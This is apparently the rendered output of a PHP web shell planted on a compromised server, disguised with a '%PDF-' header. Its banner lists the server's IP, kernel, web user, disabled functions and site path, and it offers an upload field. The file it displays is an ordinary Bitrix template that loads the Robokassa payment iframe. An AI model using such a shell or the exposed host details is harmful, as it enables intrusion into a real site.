%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.226.4.191 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/handlers/paysystem/roboxchange/template/ |
Upload File : |
<?php use Bitrix\Main\Localization\Loc; Loc::loadMessages(__FILE__); /** * @var array $params */ ?> <div class="mb-4" > <p><?= Loc::getMessage('SALE_HANDLERS_PAY_SYSTEM_TEMPLATE_ROBOXCHANGE_IFRAME_DESCRIPTION') ?></p> <p><?= Loc::getMessage('SALE_HANDLERS_PAY_SYSTEM_TEMPLATE_ROBOXCHANGE_IFRAME_SUM', [ '#SUM#' => SaleFormatCurrency($params['SUM'], $params['CURRENCY']), ] ) ?></p> <div class="d-flex align-items-center mb-3"> <div class="col-auto pl-0"> <a class="btn btn-lg btn-success pl-4 pr-4" style="border-radius: 32px;" id="paysystem-roboxchange-button-pay" href="#"><?= Loc::getMessage('SALE_HANDLERS_PAY_SYSTEM_TEMPLATE_ROBOXCHANGE_IFRAME_BUTTON_PAID') ?></a> </div> </div> <div class="alert alert-info"><?= Loc::getMessage('SALE_HANDLERS_PAY_SYSTEM_TEMPLATE_ROBOXCHANGE_IFRAME_WARNING_RETURN') ?></div> </div> <script type="text/javascript" src="https://auth.robokassa.ru/Merchant/bundle/robokassa_iframe.js"></script> <script> function showPaymentFrame(params) { Robokassa.StartPayment(params); } BX.ready(function(){ var params = { MerchantLogin: "<?= CUtil::JSEscape($params['ROBOXCHANGE_SHOPLOGIN']) ?>", OutSum: "<?= CUtil::JSEscape($params['SUM']) ?>", InvId: "<?= CUtil::JSEscape($params['PAYMENT_ID']) ?>", Description: "<?= CUtil::JSEscape($params['ROBOXCHANGE_ORDERDESCR']) ?>", Culture: "<?= LANGUAGE_ID ?>", Encoding: "utf-8", SignatureValue: "<?= CUtil::JSEscape($params['SIGNATURE_VALUE']) ?>", } <?php if (!empty($params['OUT_SUM_CURRENCY'])):?> params.OutSumCurrency = "<?= CUtil::JSEscape($params['OUT_SUM_CURRENCY']) ?>"; <?php endif; ?> <?php if ($params['PS_MODE']):?> params.IncCurrLabel = "<?= CUtil::JSEscape($params['PS_MODE']) ?>"; <?php endif; ?> <?php if ($params['RECEIPT']):?> params.Receipt = "<?= CUtil::JSEscape($params['RECEIPT']) ?>"; <?php endif; ?> var email = "<?= CUtil::JSEscape($params['BUYER_PERSON_EMAIL']) ?>"; if (email) { params.Email = email; } var additionalUserFields = <?= CUtil::PhpToJSObject($params['ADDITIONAL_USER_FIELDS']) ?>; params = Object.assign(params, additionalUserFields); var isTest = "<?= CUtil::JSEscape($params['PS_IS_TEST']) ?>"; if (isTest === 'Y') { params.IsTest = 1; } showPaymentFrame(params); BX.bind(BX('paysystem-roboxchange-button-pay'), 'click', BX.proxy(function () { showPaymentFrame(params); }, this)); }); </script>